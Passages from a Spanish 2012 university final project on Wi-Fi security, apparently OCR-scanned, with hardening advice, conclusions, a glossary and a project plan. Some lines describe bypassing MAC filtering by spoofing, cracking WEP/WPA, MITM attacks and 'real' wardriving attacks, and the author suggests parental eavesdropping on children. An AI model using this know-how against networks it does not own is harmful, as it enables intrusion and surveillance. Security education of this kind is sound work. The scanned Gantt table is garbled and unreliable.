WLAN_XX, ONO_XX, ONO_XXXX, JAZZTEL_XX, JAZZTEL_XXXX, esto permitird a los
usuarios con conocimientos tener las pistas necesarias de como tratar este tipo de
redes. Ademas si suelen tener el SSID sin cambiar dan pistas a los usuarios
malintencionados de que no se ha cambiado la contrasefa por defecto de los mismos,
lo que implica una mayor vulnerabilidad y un acceso mas facil.

Para paliar esto, un método eficaz suele ser cambiar el SSID, para despistar al usuario
mal intencionado, ademds de cambiar la contrasefia por defecto y en otro caso ocultar
la red de tal manera que haya que saber el nombre del SSID y la contrasena para
acceder a esta red.

3. Desactivar el broadcasting SSID

Este punto esta ligado con el anterior y nos permitird que usuarios que no conocen el
SSID de nuestra red, deban primero conocerlo y conectarse a la red inaldmbrica y
configurarla de modo manual, lo que implicard una traba para el mismo y mas
dificultad.
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4. Filtrado de direcciones MAC

Para poner un poquito mas dificil, el acceso a usuarios no autorizados y siguiendo los
puntos anteriores, realizaremos un filtrado de direcciones MAC.

Para ello debemos conocer cada una de las direcciones MAC de las tarjetas de red de
los equipos que queremos que se conecten a nuestra red. Con esto conseguiremos
permitir solo el acceso a las direcciones MAC que tengamos dadas de alta en nuestro
router.

En contraposicidn a esto, simplemente realizando una escucha de la red a atacar solo
basta con esperar y obtendremos la direccion MAC del equipo que se ha conectado,
con ello y falseando nuestra MAC podriamos tener acceso.

5. Desactivar el DHCP

Al desactivar el servidor DHCP en el router, necesitaremos saber la direccion IP local a
introducir, la mascara de red y las DNS tanto primaria como secundaria del proveedor,
si a esto le sumamos el cambio de SSID, nos permitira despistar al usuario intruso ya
que si no tiene una referencia de SSID tal como WLAN_XX, le dificultara Ila
configuracion y el tener un acceso pleno a la red.

En contraposicion a esto si el intruso conoce el rango de IP’s y DNS’s que usamos en
nuestra red, no habra tenido éxito esta medida.

6. Establecer un nimero limitado de dispositivos a la red

Limitaremos con este punto el nimero de conexiones maximas a nuestro router y de
forma simultanea, de esta manera tendremos un método mediante el cual si el usuario
mal intencionado se conecta a nuestra red en el momento que se ha llegado al nimero
maximo, el router rechazara sus peticiones y se le pondra el acceso mas dificil.
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7. Usar cifrado WPA o WPA2 en lugar de WEP o una red abierta

Utilizaremos un cifrado WPA en lugar de WEP ya que como se ha explicado
anteriormente, es un método mads seguro y complejo a la hora de realizar el ataque y
conseguir la contrasena, que implica conocimientos mas avanzados sobre el tema de
como romper ese tipo de cifrados, ademas de tener un cliente victima asociado a la
red en ese momento y un diccionario lo suficientemente potente, como para cuando
realicemos el ataque por fuerza bruta obtengamos la contrasefia.
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Con este proyecto fin de carrera quiero mostrar el auge que van teniendo las redes
inaldmbricas frente a las redes de area local tanto para uso doméstico, como para uso
empresarial. Estas nos aportan una mayor escalabilidad, mayor movilidad, son
relativamente “faciles” de instalar y nos aportan un menor coste frente a las redes de
area local. Conjuntamente estas nos proporcionan facilidades de conexién, lo que
implica una mejora tanto para usuarios en sus puestos de trabajo, como para usuarios
de redes domésticas.

En contraposicion a las ventajas anteriores una red inaldmbrica mal configurada,
presenta una serie de inconvenientes en lo que a inseguridad se refiere. Y este
problema viene dado por el publico tan amplio que hoy en dia demanda estos servicios
y el poco conocimiento que se tiene al respecto.

Con estos problemas de “seguridad”, van apareciendo numerosos usuarios
malintencionados que pretenden hacerse con nuestros datos privados y es por tanto,
por lo que se pone en peligro todos aquellos datos privados que circulen por esta via.

Para ayudar a poseer seguridad aparecieron diferentes protocolos que nos socorreran
para frenar o paralizar el paso o acceso a usuarios malintencionados que quieran
acceder a nuestra red. Hasta ahi todo esta correcto, pero a dia de hoy no existe ningun
protocolo 100% fiable, ya que una gran multitud de usuarios estudian como vulnerar
estos protocolos con la utilizacion de algoritmos “caseros” capaces de romperlos o al
menos intentarlo. Unicamente lo que conseguiremos serd poner mas dificil el acceso a
nuestra red.

Para ello es necesario e importante conocer los diferentes protocolos tales como WEP,
WPA, WPA2 y RADIUS.

Como hemos visto en los apartados anteriores WEP, es un protocolo bastante débil y
gue por norma general es muy usual, para redes domésticas cuyos usuarios tienen
poco conocimiento de esto, ya que como bien sabemos y hemos explicado
anteriormente, con facilidad podemos comprometer redes con este protocolo.

Por otro lado el protocolo WPA-PSK, aparece como alternativa a WEP, que aunque
siendo “vulnerable” también con una serie de conocimientos concretos, se suele
proponer como disyuntiva al anterior para usuarios de redes domésticas.
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Para disponer de una red efectiva debemos conocer los puntos endebles o fragiles,
mediante los cuales los usuarios malintencionados que tengan constancia de ellos, no
puedan aprovecharlos para vulnerar nuestra red y hacerse con nuestros datos e
informacién personal y confidencial.

Hemos visto que una vez que nuestra red es vulnerable con diferentes herramientas
de libre distribucion se puede conseguir mucha informacion. Tal como datos de foros,
correo electrdénico, paginas-web, datos bancarios y un largo... etc.

Un mecanismo de seguridad para cifrado y autenticacién de usuarios en las redes
inalambricas sera efectivo siempre y cuando se tenga conciencia de una configuracién
objetiva. La idea fundamental de crear una configuracion es cubrir los puntos débiles
para que los usuarios malintencionados no tengan la habilidad de poder dominar estos
aspectos.
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Como ultimo punto me gustaria abordar este tema enfocandolo hacia el control
parental, ya que creo que seria un punto interesante a tratar con los conocimientos
demostrados anteriormente y aplicandolos a la vigilancia por parte de los padres a sus
hijos pudiendo tener un control mas preciso de estos, en caso de problemas de acoso
o similares, ya que si estos se viesen sometidos seria muy dificil que un nifo le
comentase esto a sus padres, y mediante la utilizacién de esta técnica los padres si
detectasen algin comportamiento raro en sus hijos se apoyarian con esta herramienta
y podrian de ver lo que esta ocurriendo.
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¢ Ancho de Banda: en conexiones a Internet el ancho de banda es la cantidad de
informacién o de datos que se puede enviar a través de una conexién de red en
un periodo dado.

e AES (Advanced Encryption Standard): también conocido como Rijndael
(pronunciado "Rain Doll" en inglés), es un esquema de cifrado por bloques
adoptado como un estandar de cifrado por el gobierno de los Estados Unidos.

¢ ARP (Address Resolution Protocol): Es un protocolo de la capa de enlace de
datos responsable de encontrar la direccion hardware (Ethernet MAC) que
corresponde a una determinada direccion IP. Para ello se envia un paquete
(ARP request) a la direccion de difusidon de la red (broadcast (MAC = FF FF FF FF
FF FF)) que contiene la direccién IP por la que se pregunta, y se espera a que
esa maquina (u otra) responda (ARP reply) con la direccidn Ethernet que le
corresponde.

e BackTrack 5 rl: es una distribucion GNU/Linux en formato LiveCD pensada vy
disefiada para la auditoria de seguridad y relacionada con la seguridad
informatica en general. Actualmente tiene una gran popularidad y aceptacion
en la comunidad que se mueve en torno a la seguridad informatica.

e Bluetooth: protocolo que sigue la especificacion IEEE 802.15.1.

e BSS: conjunto de servicio basico.
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* CDMA2000: es una familia de estandares de telecomunicaciones moviles de
tercera generaciéon (3G) que utilizan CDMA, un esquema de acceso multiple
para redes digitales, para enviar voz, datos, y sefializacién (como un numero
telefénico marcado) entre teléfonos celulares y estaciones base. Esta es la
segunda generacion de la telefonia celular digital 1S-95.

¢ CDMA (del inglés Code Division Multiple Access) o multiplexacion por divisidn
de cddigo, acceso multiple por division de codigo: es un término genérico para
varios métodos de multiplexacion o control de acceso al medio basado en la
tecnologia de espectro expandido.

e CDPD: es el acronimo de "Cellular Digital Packet Data" es una tecnologia de
transmisiéon de datos en terminales TDMA, El sistema esta basado en la
tecnologia IBM CelluPlan Il, pero desarrollada por Ericsson y descontinuada a
finales de los 90, que pretendia mejorar las prestaciones de la existente
tecnologia celular analdgica.

e CSMA/CD: siglas que corresponden a Carrier Sense Multiple Access with
Collision Detection (en espanol, "Acceso Multiple por Deteccion de Portadora
con Deteccién de Colisiones"), es una técnica usada en redes Ethernet para
mejorar sus prestaciones.

e DSSS (direct sequence spread spectrum: espectro ensanchado por secuencia
directa) es uno de los métodos de codificacion de canal (previa a la
modulacion) en espectro ensanchado para transmision de sefales digitales
sobre ondas radiofénicas que mas se utilizan.
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e EAP (Extensible Authentication Protocol): es una autenticacion framework
usada habitualmente en redes WLAN Point-to-Point Protocol. Aunque el
protocolo EAP no esta limitado a LAN inalambricas y puede ser usado para
autenticacion en redes cableadas, es mas frecuentemente su uso en las
primeras. Recientemente los estandares WPA y WPA2 han adoptado cinco
tipos de EAP como sus mecanismos oficiales de autenticacion.

* EES: Conjunto de Servicio Extendido.

e EDGE: es el acrénimo para Enhanced Data Rates GSM of Evolution (Tasas de
Datos Mejoradas para la evolucion de GSM).

e ESSID: identificador del conjunto de servicio extendido.

e EST: Estacion informatica.

e Ethernet: es un estandar de redes de area local para computadores con acceso
al medio por contienda CSMA/CD.

e ETSI (European Telecommunications Standards Institute): Instituto de
Estandares Europeo de Telecomunicaciones.

F

¢ Facebook: es una empresa creada por Mark Zuckerberg y fundada por Eduardo
Saverin, Chris Hughes, Dustin Moskovitz y Mark Zuckerberg consistente en
un sitio web de redes sociales.

e FHSS (Frequency Hopping Spread Spectrum o FHSS): espectro ampliado por
salto de frecuencia es una técnica de modulacion en espectro ensanchado en
el que la sefal se emite sobre una serie de radiofrecuencias aparentemente
aleatorias, saltando de frecuencia en frecuencia sincrénicamente con el
transmisor.
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¢ Framework: es un conjunto estandarizado de conceptos, practicas y criterios
para enfocar un tipo de problematica particular, que sirve como referencia para
enfrentar y resolver nuevos problemas de indole similar.

e FTP (File Transfer Protocol): es un protocolo de red para la transferencia de
archivos entre sistemas conectados a una red TCP (Transmission Control
Protocol), basada en la arquitectura cliente-servidor. Desde un equipo cliente
se puede conectar a un servidor para descargar archivos desde él o para
enviarle archivos, independientemente del sistema operativo utilizado en cada
equipo.

e Gmail: llamado en otros lugares Google Mail (Alemania, Austria y Reino Unido)
por problemas legales, es un servicio de correo electrénico con posibilidades
POP3 e IMAP gratuito proporcionado por la empresa estadounidense Google a
partir del 15 de abril de 2004 y que ha captado la atencién de los medios de
informacién por sus innovaciones tecnoldgicas, su capacidad, y por algunas
noticias que alertaban sobre la violacién de la privacidad de los usuarios.

e GPRS o servicio general de paquetes via radio (General Packet Radio Service):
es una extension del Sistema Global para Comunicaciones Moviles (Global
System for Mobile Communications o GSM) para la transmisién de datos no
conmutada (o por paquetes). Existe un servicio similar para los teléfonos
moviles que del sistema 1S-136. Permite velocidades de transferencia de 56 a
144 kbps.

e GSM o El sistema global para las comunicaciones moviles (proviene del francés
groupe spécial mobile): es un sistema estandar, libre de regalias, de telefonia
movil digital.
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¢ Handshake: Definido vulgarmente como el saludo entre el ap y el cliente en las
conexiones WPA.

e Hash: es una funcién computable mediante un algoritmo, H: U > M x >
h(x), que tiene como entrada un conjunto de elementos, que suelen ser
cadenas, y los convierte (mapea) en un rango de salida finito, normalmente
cadenas de longitud fija. Es decir, la funcidén actia como una proyeccién del
conjunto U sobre el conjunto M.)

* HIPERLAN: es un estandar global para anchos de banda inalambricos LAN que
operan con un rango de datos de 54 Mbps en la frecuencia de banda de 5 GHz.

e HomeRF: estandar para conectar todos los teléfonos moviles de la casa y los
ordenadores mediante un aparato central.

e Hops: salto.

e Hotmail: es un servicio gratuito de correo electrénico basado en la
web operado por Microsoft y parte del grupo Windows Live.

e HSDPA (High Speed Downlink Packet Access): también denominada 3.5G, 3G+ o
turbo 3G, es la optimizacidn de la tecnologia espectral UMTS/WCDMA, incluida
en las especificaciones de 3GPP release 5 y consiste en un nuevo canal
compartido en el enlace descendente (downlink) que mejora significativamente
la capacidad maxima de transferencia de informacién pudiéndose alcanzar
tasas de bajada de hasta 14 Mbps (1,8, 3,6, 7,2, 14,4). Soporta tasas de
throughput promedio cercanas a 1 Mbps.

e HSPA o High-Speed Packet Access: es la combinaciéon de tecnologias
posteriores y complementarias a la 3. 2 generacion de telefonia mévil (3G).

e HTTP (Hypertext Transfer Protocol ): en espaiol protocolo de transferencia
de hipertexto es el protocolo usado en cada transaccion de la World Wide
Web.
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e HTTPS (Hyper Text Transfer Protocol Secure): en espaiiol protocolo seguro de
transferencia de hipertexto), es un protocolo de aplicacién basado en el
protocolo HTTP, destinado a la transferencia segura de datos de Hiper Texto, es
decir, es la version segura de HTTP.

e IBSS: conjunto de servicio basico independiente.

e |EEE (leido i-e-cubo en Espaia e i-triple-e en Hispanoameérica) corresponde a las
siglas de (Institute of Electrical and Electronics Engineers): en espafiol Instituto
de Ingenieros Eléctricos y Electrénicos, una asociacidn técnico-profesional
mundial dedicada a la estandarizacion, entre otras cosas.

¢ IMAP Internet Message Access Protocol: es un protocolo de red de acceso a
mensajes electrénicos almacenados en un servidor. Mediante IMAP se puede
tener acceso al correo electrénico desde cualquier equipo que tenga una
conexidon a Internet. IMAP tiene varias ventajas sobre POP, que es el otro
protocolo empleado para obtener correo desde un servidor. Por ejemplo, es
posible especificar en IMAP carpetas del lado servidor. Por otro lado, es mas
complejo que POP ya que permite visualizar los mensajes de manera remota y
no descargando los mensajes como lo hace POP.

e Infrarrojo: La radiacién infrarroja, radiacién térmica o radiacion IR es un tipo de
radiacion electromagnética de mayor longitud de onda que la luz visible, pero
menor que la de las microondas.

* Internet: es un conjunto descentralizado de redes de comunicacién
interconectadas que utilizan la familia de protocolos TCP/IP, garantizando que
las redes fisicas heterogéneas que la componen funcionen como una red légica
Unica, de alcance mundial. Sus origenes se remontan a 1969, cuando se
establecié la primera conexién de computadoras, conocida como ARPANET,
entre tres universidades en California y una en Utah, Estados Unidos.
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e 1IS-54 e 1S-136: son sistemas de telefonia mdévil de segunda generaciéon (2G),
conocidos como Digital AMPS (D-AMPS). Alguna vez fue predominante en
América, particularmente en los Estados Unidos y Canada. D-AMPS estd
considerado en etapa de desimplementacién, y las redes existentes han sido
reemplazadas en su mayoria por las tecnologias GSM/GPRS o CDMA2000.

e ISO u Organizacién Internacional de Normalizacion (del griego, iocog (isos),
‘igual'): nacida tras la Segunda Guerra Mundial (23 de febrero de 1947), es el
organismo encargado de promover el desarrollo de normas internacionales de
fabricacidon, comercio y comunicacién para todas las ramas industriales a
excepcion de la eléctrica y la electrdnica. Su funcién principal es la de buscar la
estandarizacion de normas de productos y seguridad para las empresas u
organizaciones a nivel internacional.

e Jazztel P.L.C: es un holding de empresas del sector de las telecomunicaciones.

e Kbps: Un kilobit por segundo es una unidad de medida que se usa en
telecomunicaciones e informatica para calcular la velocidad de transferencia de
informacidn a través de una red. Su abreviatura y forma mas corriente es kb/s,
que equivale a kbit/s.

e LDAP:son las siglas de Lightweight Directory Access Protocol (en
espanol Protocolo Ligero de Acceso a Directorios) que hacen referencia a un
protocolo anivel de aplicacién el cual permite el acceso a un servicio de
directorio ordenado y distribuido para buscar diversa informacion en un
entorno de red. LDAP también es considerado una base de datos (aunque su
sistema de almacenamiento puede ser diferente) a la que pueden realizarse
consultas.
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¢ LLC: control de enlace légico.

e LMDS o Sistema de Distribucion Local Multipunto (del inglés Local Multipoint
Distribution Service) es una tecnologia de conexion via radio inaldmbrica que
permite, gracias a su ancho de banda, el despliegue de servicios fijos de voz,
acceso a Internet, comunicaciones de datos en redes privadas, y video bajo
demanda.

¢ MAC: control de acceso al medio.

e  MITM Main in the middle: es un ataque en el que el enemigo adquiere la
capacidad de leer, insertar y modificar a voluntad, los mensajes entre dos
partes sin que ninguna de ellas conozca que el enlace entre ellos ha sido
violado. El atacante debe ser capaz de observar e interceptar mensajes entre
las dos victimas. El atague MitM es particularmente significativo en el
protocolo original de intercambio de claves de Diffie-Hellman, cuando éste se
emplea sin autenticacion.

e MIMO (Multiple-Input Multiple-Output): Se refiere especificamente a la forma
como son manejadas las ondas de transmisién y recepcién en antenas para
dispositivos inaldmbricos como enrutadores. En el formato de transmisién
inaldmbrica tradicional la sefial se ve afectada por reflexiones, lo que ocasiona
degradacion o corrupcion de la misma y por lo tanto pérdida de datos.

¢ Mobitex: es un OSI| basado en estandar abierto, el acceso publico nacional
inaldmbrica de conmutacion de paquetes de red de datos. Mobitex pone gran
énfasis en la seguridad y la fiabilidad de su uso por militares, policias, bomberos
y servicios de ambulancia. Mobitex se desarrollé a principios de la década de
1980 por el sueco Televerket Radio. Desde 1988, el desarrollo tuvo lugar en
Eritel, una joint-venture entre la Ericsson y Televerket, mas tarde como un
Ericsson subsidiarios. Mobitex entré en funcionamiento en Suecia en 1986.
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Moédem (Modulador Demodulador): es un dispositivo que sirve para enviar una
sefal llamada moduladora mediante otra sefial llamada portadora. Se han
usado mdédems desde los afios 60, principalmente debido a que la transmision
directa de las sefiales electrdnicas inteligibles, a largas distancias, no es
eficiente, por ejemplo, para transmitir sefiales de audio por el aire, se
requeririan antenas de gran tamafo (del orden de cientos de metros) para su
correcta recepcion. Es habitual encontrar en muchos médems de red
conmutada la facilidad de respuesta y marcacion automatica, que les permiten
conectarse cuando reciben una llamada de la RTPC (Red Telefénica Publica
Conmutada) y proceder a la marcacién de cualquier nimero previamente
grabado por el usuario. Gracias a estas funciones se pueden realizar
automdticamente todas las operaciones de establecimiento de Ila
comunicacion.

MOVISTAR: es una compaiiia espanola de telefonia mévil que opera bajo la
marca comercial Movistary que pertenece a Telefénica. Dentro del grupo
Telefdnica, esta asignada como filial a Telefénica de Espafia. A pesar de que son
compaiiias diferentes, desde mayo de 2010, Telefénica de Espaiia y Telefdnica
Moviles Espafa operan bajo la misma marca Movistar y ofrecen paquetes de
productos conjuntamente, pero legalmente continlan siendo empresas
independientes.

Mozilla Firefox: es un navegador web libre y de cddigo abierto descendiente
de Mozilla Application Suite y desarrollado por la Fundacién Mozilla.

N
e No aplica
(0]
e OFDM: multiplexacion por division de frecuencias ortogonales.
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e ONO: adquirid diversas empresas de telecomunicaciones, siendo la compra
mas importante la de Auna en noviembre de 2005, para convertirse en la
compafiia de cable mas importante de Espaia. Se le une ademas el servicio de
telefonia movil mediante la licencia de OMV gracias a un acuerdo
con Telefdnica.

e OSI: (en inglés open system interconnection) o modelo de interconexion de
sistemas abiertos: es el modelo de red descriptivo creado por la Organizacién
Internacional para la Estandarizacion en el afio 1984. Es decir, es un marco de
referencia para la definicion de arquitecturas de interconexion de sistemas de
comunicaciones.

¢ PA: Punto de acceso.

e PCMCIA: es el acronimo de Personal Computer Memory Card International
Association, una asociacion Internacional centrada en el desarrollo de tarjetas
de memoria para ordenadores personales que permiten afiadir al ordenador
nuevas funciones. Existen muchos tipos de dispositivos disponibles en formato
de tarjeta PCMCIA: mddems, tarjetas de sonido, tarjetas de red.

e PDA: (del inglés personal digital assistant (asistente digital personal)), también
denominado ordenador de bolsillo u organizador personal, es una
computadora de mano originalmente disefiada como agenda electrdnica
(calendario, lista de contactos, bloc de notas y recordatorios) con un sistema de
reconocimiento de escritura.

e PEAP: en espaiiol “Protocolo de autenticacion extensible protegido” también
conocido como EAP protegido PEAP, es un protocolo que encapsula el
protocolo de autenticacién extensible (EAP) dentro de una capa de cifrado y
autenticado de transporte (TLS) del tunel. El propdsito era corregir las
deficiencias de EAP. EAP supone un canal de comunicacion protegido, como la
proporcionada por la seguridad fisica.
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Q

Point-to-point Protocol :(en espafiol Protocolo punto a punto), también
conocido por su acrénimo PPP, es un protocolo de nivel de enlace
estandarizado en el documento RFC 1661. Por tanto, se trata de un protocolo
asociado a la pila TCP/IP de uso en Internet.

POP3 (Post Office Protocol): Protocolo de la oficina de correo) en clientes
locales de correo para obtener los mensajes de correo electrénico almacenados
en un servidor remoto. Es un protocolo de nivel de aplicaciéon en el Modelo OSI.

Pre-Shared Key o PSK: en espafiol clave pre compartida, es una clave secreta
compartida con anterioridad entre las dos partes usando algin canal seguro
antes de que se utilice. Para crear una clave de secreto compartido, se debe
utilizar la funcion de derivacion de claves. Estos sistemas utilizan casi siempre
algoritmos de cifrado de clave simétrica. El término PSK se utiliza en cifrado Wi-
Fi como WEP o WPA, donde tanto el punto de acceso inaldmbrico (AP) como
todos los clientes comparten la misma clave.

Protocolo: es un conjunto de reglas usadas por computadoras para
comunicarse unas con otras a través de una red por medio de intercambio de
mensajes. Este es una regla o estandar que controla o permite la comunicacién
en su forma mas simple, puede ser definido como las reglas que dominan la
sintaxis, semantica y sincronizacion de la comunicacién. Los protocolos pueden
ser implementados por hardware, software, o una combinacién de ambos. A su
mas bajo nivel, éste define el comportamiento de una conexién de hardware.

No aplica
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¢ RADIUS (Remote Authentication Dial-In User Server): Es un protocolo de
autenticacion y autorizacidén para aplicaciones de acceso a la red o movilidad IP.
Utiliza el puerto 1812 UDP para establecer sus conexiones.

¢ RedIRIS: es la red espafiola para Interconexion de los Recursos InformaticoS de
las universidades y centros de investigacion. Como tal provee de servicios de
conexion a Internet a dichas instituciones. Fue fundada en el afio 1988 como un
proyecto del entonces Plan Nacional de I1+D del Ministerio de Educacidn y
Ciencia en colaboracién con Telefénica a través de la fundacion Fundesco y
actualmente estd gestionada por la Entidad Publica empresarial Red.es vy
financiada por el Plan Nacional de I+D+i.

* RFC (Request for Comments): en espafiol "Peticion De Comentarios”, son una
serie de notas sobre Internet, y sobre sistemas que se conectan a internet, que
comenzaron a publicarse en 1969.

¢ RFID: sistema remoto de almacenamiento y recuperacién de datos con el
propésito de transmitir la identidad de un objeto (similar a un nimero de serie
Unico) mediante ondas de radio.

¢ Router: conocido como encaminador, enrutador, direccionador o ruteador. Es
un dispositivo  de hardware usado para lainterconexion de redes
informaticas que permite asegurar el direccionamiento de paquetes de
datos entre ellas o determinar la mejor ruta que deben tomar. Opera en la capa
tres del modelo OSI.

e Samba: es una implementacion libre del protocolo de archivos compartidos
de Microsoft Windows (antiguamente llamado SMB, renombrado
recientemente a CIFS) para sistemas de tipo UNIX.

¢ Seatibiza.net: foro de discusion sobre el Seat Ibiza y sus diferentes versiones asi
como el modelo Seat Cordoba.
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e SD: Sistema de Distribucion.

e Sniffing: Técnica por la cual se puede "escuchar" todo lo que circula por una
red. Esto que en principio es propio de una red interna o Intranet, también se
puede dar en la red de redes: Internet.

e Tarjeta de sonido: o placa de sonido es una tarjeta de expansion para
computadoras que permite la salida de audio bajo el control de un programa
informatico llamado controlador (en inglés driver).

¢ Tarjeta de red o adaptador de red.

e TCP/IP: se denomina asi en referencia a los dos protocolos mas importantes
que la componen: Protocolo de Control de Transmisiéon (TCP) y Protocolo de
Internet (IP), que fueron dos de los primeros en definirse, y que son los mas
utilizados de la familia.

e  TDMA (Time Division Multiple Access) o multiplexacion por division de tiempo:
es una técnica que permite la transmision de senales digitales y cuya idea
consiste en ocupar un canal (normalmente de gran capacidad) de trasmisién a
partir de distintas fuentes, de esta manera se logra un mejor aprovechamiento
del medio de trasmision. El Acceso multiple por division de tiempo (TDMA) es
una de las técnicas de TDM mas difundidas.

¢ Telnet (TELecommunication NETwork): es el nombre de un protocolo de red a
otra maquina para manejarla remotamente como si estuviéramos sentados
delante de ella.

¢ TKIP (Temporal Key Integrity Protocol): es también llamado hashing de clave
WEP WPA, incluye mecanismos del estandar emergente 802.11i para mejorar
el cifrado de datos inalambricos. WPA tiene TKIP, que utiliza el mismo
algoritmo que WEP, pero construye claves en una forma diferente.

e TR: Tarjeta de Red, es un periférico que permite la comunicacién con aparatos
conectados entre si y también permite compartir recursos entre dos o mas
computadoras.
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e UMTS o Sistema universal de telecomunicaciones mdviles (Universal Mobile
Telecommunications System : es una de las tecnologias usadas por los méviles
de tercera generacién, sucesora de GSM, debido a que la tecnologia GSM
propiamente dicha no podia seguir un camino evolutivo para llegar a brindar
servicios considerados de tercera generacion.

e VOIP (Voice over IP): es un grupo de recursos que hacen posible que la sefial
de voz viaje a través de Internet empleando un protocolo IP (Protocolo de
Internet).

¢ WAN (red de drea amplia): acrénimo de la expresion en idioma inglés wide area
network, es un tipo de red de computadoras capaz de cubrir distancias desde
unos 100 hasta unos 1000 km, proveyendo de servicio a un pais o un
continente. Un ejemplo de este tipo de redes seria RedIRIS, Internet o cualquier
red en la cual no estén en un mismo edificio todos sus miembros (sobre la
distancia hay discusion posible).

* Warchalking: es un lenguaje de simbolos normalmente escritos con tiza en las
paredes que informa a los posibles interesados de la existencia de una red
inaldmbrica en ese punto.

e Wardriving: busqueda de redes inalambricas Wi-Fi desde un vehiculo en
movimiento. Implica usar un coche o camioneta y un ordenador equipado con
Wi-Fi, como un portatil o una PDA, para detectar las redes. Esta actividad es
parecida al uso de un escaner para radio.
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e WECA Wireless Ethernet Compatibility Alliance: es una empresa creada en
1999 con el fin de fomentar la compatibilidad entre tecnologias Ethernet
inaldmbricas bajo la norma 802.11 del IEEE. WECA cambié de nombre en 2003,
pasando a denominarse Wi-Fi Alliance.

e WEP (Wired Equivalent Privacy): en espanol "Privacidad Equivalente a
Cableado", es el sistema de cifrado incluido en el estandar IEEE 802.11 como
protocolo para redes Wireless que permite cifrar la informacién que se
transmite. Proporciona un cifrado a nivel 2, basado en el algoritmo de cifrado
RC4 que utiliza claves de 64 bits (40 bits mas 24 bits del vector de iniciacién V)
o de 128 bits (104 bits mas 24 bits del IV). Los mensajes de difusién de las redes
inaldmbricas se transmiten por ondas de radio, lo que los hace mas
susceptibles, frente a las redes cableadas, de ser captados con relativa
facilidad. Presentado en 1999, el sistema WEP fue pensado para proporcionar
una confidencialidad comparable a la de una red tradicional cableada.

e Wi-Fi: es una marca de la Wi-Fi Alliance (anteriormente la WECA: Wireless
Ethernet Compatibility Alliance), la organizacién comercial que adopta, prueba
y certifica que los equipos cumplen los estandares 802.11 relacionados a redes
inaldmbricas de area local.

¢ WiFiSlax: es una distribucién GNU/Linux con funcionalidades
de LiveCD y LiveUSB pensada y disefiada para la auditoria de seguridady
relacionada con la seguridad informatica en general.

e Wifiway: es una distribucion GNU/Linux pensada y disefiada para la auditoria
de seguridad de las redes WiFi, Bluetooth y RFID. Se publican imagenes iso con
funcionalidades de LiveCD y LiveUSB.

¢ WIMAX (Worldwide Interoperability for Microwave Access, es decir,
Interoperabilidad Mundial para Acceso con Microondas): estandar de
comunicacidn inaldmbrica basado en la norma IEEE 802.16.

¢ Wireless network: Red inalambrica.

¢ WLAN (Wireless Local Area Network): redes de drea local.

¢ WMAN (Wireless Metropolitan Area Network): red de area metropolitana.
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e WPA (Wi-Fi Protected Access): en espafol «Acceso Wi-Fi protegido», es un
sistema para proteger las redes inaldmbricas (Wi-Fi); creado para corregir las
deficiencias del sistema previo, Wired Equivalent Privacy (WEP). WPA
implementa la mayoria del estandar IEEE 802.11i, y fue creado como una
medida intermedia para ocupar el lugar de WEP mientras 802.11i era
finalizado. WPA fue creado por The Wi-Fi Alliance («La alianza Wi-Fi»).

e WPAN (Wireless Personal Area Network): red de cobertura personal.

* XOR: El operador légico Disyuncion exclusiva también llamado o exclusivo,
simbolizado como XOR, EOR, EXOR, es un tipo de disyuncién logica de dos
operandos que es verdad si solo un operando es verdad pero no ambos

e No aplica

4
* ZigBee: basado en la especificacion IEEE 802.15.4 y utilizado en aplicaciones
como la domatica, que requieren comunicaciones seguras con tasas bajas de
transmisiéon de datos y maximizacion de la vida util de sus baterias, bajo
consumo.
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Otros

e 3G: es la abreviacion de tercera generacién de transmision de voz y datos a
través de telefonia movil mediante UMTS (Universal Mobile
Telecommunications System o servicio universal de telecomunicaciones
moviles).
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En el apartado Presupuesto conoceremos los medios necesarios para el desarrollo de
este proyecto. Incluiremos el Diagrama de Gantt, el Uso de Tareas, y un analisis de
costes del proyecto.

Realizando calculos llegamos a la conclusion de que este presupuesto asciende a la
cantidad de 35.924,34€uros

Leganés a 10 de Julio de 2012

Ingeniero investigador y desarrollador del proyecto:

Diego Escobar Arevalillo
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Planificacion

Para la planificacion del proyecto este se dividié en 4 fases:
- Analisis

En la fase de analisis absorberemos toda la documentaciéon necesaria acerca de las
diferentes herramientas de libre distribucién que existen para el ataque de diferentes
protocolos WEP, WPA y WPAZ2, asi como la documentacién de los script y herramientas
necesarias para realizar el ataque MITM.

- Diseio

Pasaremos a la fase de disefio una vez terminada la fase de andlisis, donde se ha
tenido en cuenta los requisitos hardware necesarios para la instalacién de los script y
sistemas operativos necesarios para realizar los diferentes ataques.

- Implementacion

A continuacidn en la fase de implementacion, una vez teniamos claro los requisitos
hardware necesarios se instalaron los sistemas operativos en las maquinas y la
instalacion de scripts y herramientas que nos van a permitir el ataque.

- Pruebas

En la fase de pruebas se trata de realizar un ataque real utilizando el método de
wardriving y observar los resultados obtenidos.

- Documentacion

En la dltima fase se explica como se ha desarrollado el proyecto y se establece unas
pautas a seguir documentadas de como se ha llevado a cabo el mismo.

- Analisis: Del 7 de Julio al 21 de Septiembre, 55 dias laborables.

- Diseio: Del 21 de Septiembre al 17 de Octubre, 19 dias laborables.

- Implementacidn: Del 17 de Octubre al 27 de Octubre, 9 dias laborables.
- Pruebas: Del 27 de Octubre al 20 de Marzo, 104 dias laborables.

- Documentacion: Del 20 de Marzo al 04 de Junio, 55 dias laborables.
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10 de julio de 2012
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3 12 Analisis de requisitos HW para instalacion 10 dias jue 0809711 mié 21/09/11
B 12.1 Analzary entender reGuiskos minmos para @ Instalacion de nerramientas 1i0das| pe 03809/11 me2109/117
10 |EAH Fin Tase Analisk ooras me2109/11 m®e 2109711
11 l 2 Disefio 19 dias mié 21/09/11 lun 17/10/11
12 |=4q iniclo fase Disefio Oarfas| mie 2108/11] mie 21.09/11
i3 2.1 Diseno de instalacion de SW 15 dias mié 21/09/11 mar11/10/11
12 2.1.1 Definir soNtware necesario para su Nnstalacion 1iSscas| me2109/11] mar11/10/11 12
15 22 Analisis y funcionamiento de sofware instalado 4 dias mié 12/10/11 lun 17/10/11
16 22 1 Definkion Ce Orvers necesaros para tarjetas de red en modo monRkor 2 aras| mie 121011 Ne1310/1112
17 222 Defniion de Orvers restos de GISPOSRNOS 2adras| vie 12/10/11 NN 17710/11 16
18 |=4 Fin fase Disefo O aras| nn 1710011 mn 1710211
I[ 3.Implementacion 9 dias | lun 17/10/11 jue 27710711
20 inicio fase impkemenacidn O aras un 1710/11] un 1710/11)
21 2.1 Instalacion Sistema operativo | 1dia lun 17/10/11 lun 17/10/11
22 3.1.1 Instaacion delsistema operatvo 1dra| wun17710/11 un 17/10/11 20
23 22 Instalacion de drivers necesarios 4 dias mar 18/10/11 vie 21/10/11
